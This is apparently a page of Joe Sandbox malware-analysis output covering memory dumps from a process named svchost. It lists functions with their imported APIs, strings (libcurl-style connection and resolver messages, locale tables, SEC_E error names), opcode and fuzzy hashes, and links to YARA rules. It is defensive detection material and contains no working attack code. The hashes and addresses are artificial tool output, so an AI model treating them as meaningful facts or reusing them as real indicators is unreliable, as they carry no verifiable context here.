calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A8FB6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01A9009

Strings

Unix socket path too long: '%s', xrefs: 00000173D01A8FF7
localhost/, xrefs: 00000173D01A8E5E
Could not resolve %s: %s, xrefs: 00000173D01A8F81
host, xrefs: 00000173D01A8E30
proxy, xrefs: 00000173D01A8E90
anonymous, xrefs: 00000173D01A8E0E
Failed to resolve %s '%s' with timeout after %lld ms, xrefs: 00000173D01A8F51

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: _strdupcallocfreestrncmp
String ID: Could not resolve %s: %s$Failed to resolve %s '%s' with timeout after %lld ms$Unix socket path too long: '%s'$anonymous$host$localhost/$proxy
API String ID: 2270677362-4063513385
Opcode ID: 07ecf09e9642a1d10960b7bf778c044a930d759cebb79cc3b74f6d8eac5074ee
Instruction ID: 4e2ac8d9b3097b46ddd416f456de6acb53454c8f53b0a49a085e5ea55fba6273
Opcode Fuzzy Hash: 07ecf09e9642a1d10960b7bf778c044a930d759cebb79cc3b74f6d8eac5074ee
Instruction Fuzzy Hash: 5A51A23920DA8086FB758BA5D4003E9A771F741FC8F884025EE6D5B795FB39CA86E740

Function 00000173D015D570 Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

%s done, xrefs: 00000173D015D815, 00000173D015DA23, 00000173D015DB62
all eyeballers failed, xrefs: 00000173D015DBB1
Failed to connect to %s port %u after %lld ms: %s, xrefs: 00000173D015DC88
%s connect -> %d, connected=%d, xrefs: 00000173D015D6AE
Connection timeout after %lld ms, xrefs: 00000173D015DCDC
%s assess started=%d, result=%d, xrefs: 00000173D015DBD3
%s connect timeout after %lldms, move on!, xrefs: 00000173D015D687
%s starting (timeout=%lldms), xrefs: 00000173D015DA51, 00000173D015DB74
%s trying next, xrefs: 00000173D015D823

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuery
String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed
API String ID: 2783962273-3359130258
Opcode ID: 0c326179b19429aad917b0afc1b3ccf9519d9a8f9c5be530e1f2f89f467c6228
Instruction ID: 22de290a7b06b0d043c285845593329825030357a2ea3c9f1941a83cc82ae4f7
Opcode Fuzzy Hash: 0c326179b19429aad917b0afc1b3ccf9519d9a8f9c5be530e1f2f89f467c6228
Instruction Fuzzy Hash: AD328C36B08AC08AFB218FE5D5453ECA3B1B745F98F844215DE6D2BB99EB30C652D340

Function 00000173CFC16194 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000173CFC3A1A0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,00000173CFC06283), ref: 00000173CFC3A1C0
Part of subcall function 00000173CFC3A1A0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,00000173CFC06283), ref: 00000173CFC3A1C8
Part of subcall function 00000173CFC3A1A0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,00000173CFC06283), ref: 00000173CFC3A1D1
Part of subcall function 00000173CFC3A1A0: __pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,00000173CFC06283), ref: 00000173CFC3A1ED

_Getdays.API-MS-WIN-CRT-TIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000173CFC19F7E), ref: 00000173CFC161D9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000173CFC19F7E), ref: 00000173CFC161F6
_Maklocstr.LIBCPMT ref: 00000173CFC16212
_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000173CFC19F7E), ref: 00000173CFC1621B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,00000173CFC19F7E), ref: 00000173CFC16238
_Maklocstr.LIBCPMT ref: 00000173CFC16254
_Maklocstr.LIBCPMT ref: 00000173CFC16269

Part of subcall function 00000173CFC04F40: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173CFC11F54,?,?,?,00000173CFC0464B,?,?,?,00000173CFC05D21), ref: 00000173CFC04F62
Part of subcall function 00000173CFC04F40: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00000173CFC11F54,?,?,?,00000173CFC0464B,?,?,?,00000173CFC05D21), ref: 00000173CFC04F88
Part of subcall function 00000173CFC04F40: memmove.VCRUNTIME140(?,?,?,00000173CFC11F54,?,?,?,00000173CFC0464B,?,?,?,00000173CFC05D21), ref: 00000173CFC04FA0

Strings

:AM:am:PM:pm, xrefs: 00000173CFC16262
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00000173CFC16201
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00000173CFC16243

Memory Dump Source

Source File: 00000010.00000002.2555978653.00000173CFC01000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173CFC00000, based on PE: true

Associated: 00000010.00000002.2555926187.00000173CFC00000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556090829.00000173CFC55000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556158270.00000173CFC86000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8A000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2556223268.00000173CFC8F000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173cfc00000_svchost.jbxd

Similarity

API ID: Maklocstrfree$GetdaysGetmonths___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_funcmallocmemmove
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 269533641-35662545
Opcode ID: fab2c605505c6a7b288d1ea27734c5cb1f34f6dc1052efb48d64a64469115f62
Instruction ID: efefaa54e3f65aa8f2e707a17c1e2199d07d4b985e8462ad5b00c21dca553648
Opcode Fuzzy Hash: fab2c605505c6a7b288d1ea27734c5cb1f34f6dc1052efb48d64a64469115f62
Instruction Fuzzy Hash: 5F215A37704B4182E701EF21E4403A973B1E799F88F44C922DA9D6375ADF38D695E380

Function 00000173D0155EA0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 154
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 00000173D0155F45
WSAGetLastError.WS2_32 ref: 00000173D0155F4E
WSASetLastError.WS2_32 ref: 00000173D0155FD9

Strings

local address %s port %d..., xrefs: 00000173D0155F73
connect to %s port %u from %s port %d failed: %s, xrefs: 00000173D0156015
not connected yet, xrefs: 00000173D0156081
connected, xrefs: 00000173D015610E

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast$connect
String ID: connect to %s port %u from %s port %d failed: %s$connected$local address %s port %d...$not connected yet
API String ID: 375857812-3816509080
Opcode ID: 9d4bbee65375004948dc6eb851de1c76ed46c69a0c6a21de92976749deb74100
Instruction ID: 5c2e3984b6d0532dd2ef68f6a6a554e6392b1587107e00b8dc0cdd15f2018b60
Opcode Fuzzy Hash: 9d4bbee65375004948dc6eb851de1c76ed46c69a0c6a21de92976749deb74100
Instruction Fuzzy Hash: AE61C27A208A8485EB31DBA5D9543E9A7B0E346FE8F844222DE3D0F7D6EF64C645D340

Function 00000173D0152940 Relevance: 12.1, APIs: 8, Instructions: 67
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000173D01616F0: getaddrinfo.WS2_32 ref: 00000173D016170C
Part of subcall function 00000173D01616F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000173D0152995), ref: 00000173D01617A1
Part of subcall function 00000173D01616F0: memmove.VCRUNTIME140(?,?,?,?,00000173D0152995), ref: 00000173D01617E1
Part of subcall function 00000173D01616F0: memmove.VCRUNTIME140(?,?,?,?,00000173D0152995), ref: 00000173D01617FD
Part of subcall function 00000173D01616F0: freeaddrinfo.WS2_32(?,?,?,?,00000173D0152995), ref: 00000173D016183E
Part of subcall function 00000173D01616F0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000173D0152995), ref: 00000173D0161857

WSAGetLastError.WS2_32 ref: 00000173D015299B
WSAGetLastError.WS2_32 ref: 00000173D01529A5
EnterCriticalSection.KERNEL32 ref: 00000173D01529C1
LeaveCriticalSection.KERNEL32 ref: 00000173D01529D0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00000173D01529E1
send.WS2_32 ref: 00000173D0152A06
WSAGetLastError.WS2_32 ref: 00000173D0152A10
LeaveCriticalSection.KERNEL32 ref: 00000173D0152A23

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: CriticalErrorLastSection$Leavefreememmove$Enterfreeaddrinfogetaddrinfomallocsend
String ID:
API String ID: 3198214216-0
Opcode ID: e069468138294b0d42a7d9e2d196727a2492f3a9547db1b3114be7453674423a
Instruction ID: 4804da9c37bb533e7c8a0f99d418aa5dae05ea7fee58247d97e573d601d0fecf
Opcode Fuzzy Hash: e069468138294b0d42a7d9e2d196727a2492f3a9547db1b3114be7453674423a
Instruction Fuzzy Hash: 8F31B036208A5186E7608FA5E48438EB3B0F745FD8FC40211DA6D5BBA4EF78C685D740

Function 00000173D01616F0 Relevance: 10.6, APIs: 7, Instructions: 123
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 00000173D016170C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000173D0152995), ref: 00000173D01617A1
memmove.VCRUNTIME140(?,?,?,?,00000173D0152995), ref: 00000173D01617E1
memmove.VCRUNTIME140(?,?,?,?,00000173D0152995), ref: 00000173D01617FD
freeaddrinfo.WS2_32(?,?,?,?,00000173D0152995), ref: 00000173D016183E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00000173D0152995), ref: 00000173D0161857
WSASetLastError.WS2_32(?,?,?,?,00000173D0152995), ref: 00000173D0161877

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: memmove$ErrorLastfreefreeaddrinfogetaddrinfomalloc
String ID:
API String ID: 420754818-0
Opcode ID: 5690689acaa421e89e377b4d98ad99c46781c34d9c6ee45bdbc63379844944fc
Instruction ID: bb3dea3f50e688641a8238cd4ccf5be4dd30661171b139a8df7ca735251ce4f7
Opcode Fuzzy Hash: 5690689acaa421e89e377b4d98ad99c46781c34d9c6ee45bdbc63379844944fc
Instruction Fuzzy Hash: 2B41803A20974486EA758F92E94079DF3B5F748FE0F884515DEAD43B94EB38D541D700

Function 00000173D019E592 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_BAD_BINDINGS, xrefs: 00000173D019E592

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_BAD_BINDINGS
API String ID: 3939687465-4193802906
Opcode ID: 4ae39aaba354ca312d6457255954bcf7a71cb4e06a228ebbb92d9d27a1cbc1c8
Instruction ID: 6c72d9c02ac4d5fecee26dde1bafb998139e616c39405294b3cbc953c649ceb9
Opcode Fuzzy Hash: 4ae39aaba354ca312d6457255954bcf7a71cb4e06a228ebbb92d9d27a1cbc1c8
Instruction Fuzzy Hash: 9E01407921864086F6729B91F4913E9A2B5B788FD4FC40015EA6F02795FF7CC745E610

Function 00000173D019E5AD Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_CANNOT_INSTALL, xrefs: 00000173D019E5AD

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CANNOT_INSTALL
API String ID: 3939687465-3689135316
Opcode ID: 50d27433e9ce647bc4f9590cf387356ba4aeaa3a2d0b820b697123033eebe261
Instruction ID: f0431370680a5aaf3b2268b5bf9c6fe62b875b47844aa51bbbab02c7002be73c
Opcode Fuzzy Hash: 50d27433e9ce647bc4f9590cf387356ba4aeaa3a2d0b820b697123033eebe261
Instruction Fuzzy Hash: 5701407921864086F672AB91F4913E9A2B5B788FD4FC40015EA6F02795FF7CC745E610

Function 00000173D019E5A4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_BUFFER_TOO_SMALL, xrefs: 00000173D019E5A4

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_BUFFER_TOO_SMALL
API String ID: 3939687465-3213503683
Opcode ID: f0a99ce0059c141c48ec04eda93cf9f360708583881361bae81ebbd9556a3f0d
Instruction ID: 2593f59a66efec5bd4ca8f8e91e7eb5858176a4f871b91e8cb4a2772f19b7763
Opcode Fuzzy Hash: f0a99ce0059c141c48ec04eda93cf9f360708583881361bae81ebbd9556a3f0d
Instruction Fuzzy Hash: 8601807921860086F6729B91F4913E9A2B0B788FC4FC40021EA6F02790FF3CC745E610

Function 00000173D019E59B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_BAD_PKGID, xrefs: 00000173D019E59B

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_BAD_PKGID
API String ID: 3939687465-428854770
Opcode ID: e4821e884ca1c9353c5073079b8e784af184d8bf8c5e6d8cf8b8576c186c9ca4
Instruction ID: d1281edeeb20b063d999ec9d0da5a8488e72b6198cfe80a67ed276659bee1549
Opcode Fuzzy Hash: e4821e884ca1c9353c5073079b8e784af184d8bf8c5e6d8cf8b8576c186c9ca4
Instruction Fuzzy Hash: 2001807921860086F6729B91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC746E610

Function 00000173D019E5C8 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_CERT_UNKNOWN, xrefs: 00000173D019E5C8

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CERT_UNKNOWN
API String ID: 3939687465-169894802
Opcode ID: 18d95ea0c812e77af67839231a605aeb101d50a50e151c44ca4e4bce1f7a0bf6
Instruction ID: da4fd882e077eeed66ebf23b1680b271c520a4a851249a4d276f11a2ed129865
Opcode Fuzzy Hash: 18d95ea0c812e77af67839231a605aeb101d50a50e151c44ca4e4bce1f7a0bf6
Instruction Fuzzy Hash: 2101807921860086F672AB91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E5BF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

SEC_E_CERT_EXPIRED, xrefs: 00000173D019E5BF
%s (0x%08X) - %s, xrefs: 00000173D019E57D

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CERT_EXPIRED
API String ID: 3939687465-3192465694
Opcode ID: 441da43cf9e542e5edd50b273512c7b9ea22a4b41436016054700c454272f4ae
Instruction ID: b8f4a442d06b8adfe0e468b2b9c6fda2f66d912d8efcca41ed2a91fa1b1be88e
Opcode Fuzzy Hash: 441da43cf9e542e5edd50b273512c7b9ea22a4b41436016054700c454272f4ae
Instruction Fuzzy Hash: 950180B921860086F672AB91F4913E9A2B0B788FC4FC40011EA6F02790FF3CC745E610

Function 00000173D019E5B6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

SEC_E_CANNOT_PACK, xrefs: 00000173D019E5B6
%s (0x%08X) - %s, xrefs: 00000173D019E57D

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CANNOT_PACK
API String ID: 3939687465-1144097955
Opcode ID: b67d73a2223d1d1db4298fc8e6e3aa8c67cbe50cf565ce810dca4f246a39bc46
Instruction ID: 2406b4f5a65094335d91c785baee57382821561f027c3b48f48e899598711223
Opcode Fuzzy Hash: b67d73a2223d1d1db4298fc8e6e3aa8c67cbe50cf565ce810dca4f246a39bc46
Instruction Fuzzy Hash: 1501807921860086F6729B91F4913E9A2B0B788FC4FC40015EA6F02790FF3CC745E610

Function 00000173D019E5EC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

%s (0x%08X) - %s, xrefs: 00000173D019E57D
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 00000173D019E5EC

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_173d0150000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X) - %s$SEC_E_CROSSREALM_DELEGATION_FAILURE
API String ID: 3939687465-3852342135
Opcode ID: 79225bff42c7f3756b2e0ba69c6c5bc578440328a4eb359beb1b3191571fa22f
Instruction ID: d00f62771a89d95b96b3f07e4f52a7b1fe6e160cb8f5fe79a5c008eba2312042
Opcode Fuzzy Hash: 79225bff42c7f3756b2e0ba69c6c5bc578440328a4eb359beb1b3191571fa22f
Instruction Fuzzy Hash: 2301407921864086F672AB91F4913E9A2B5B788FD4FC40015EAAF02795FF7CC745E610

Function 00000173D019E5E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019E9FB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00000173D019EA0E
GetLastError.KERNEL32 ref: 00000173D019EA17
SetLastError.KERNEL32 ref: 00000173D019EA25

Strings

SEC_E_CONTEXT_EXPIRED, xrefs: 00000173D019E5E0
%s (0x%08X) - %s, xrefs: 00000173D019E57D

Memory Dump Source

Source File: 00000010.00000002.2558784917.00000173D0151000.00000020.10000000.00040000.00000000.sdmp, Offset: 00000173D0150000, based on PE: true

Associated: 00000010.00000002.2558660792.00000173D0150000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000010.00000002.2559157310.00000173D01D7000.00000004.10000000.00040000.00000000.sdmpDownload File
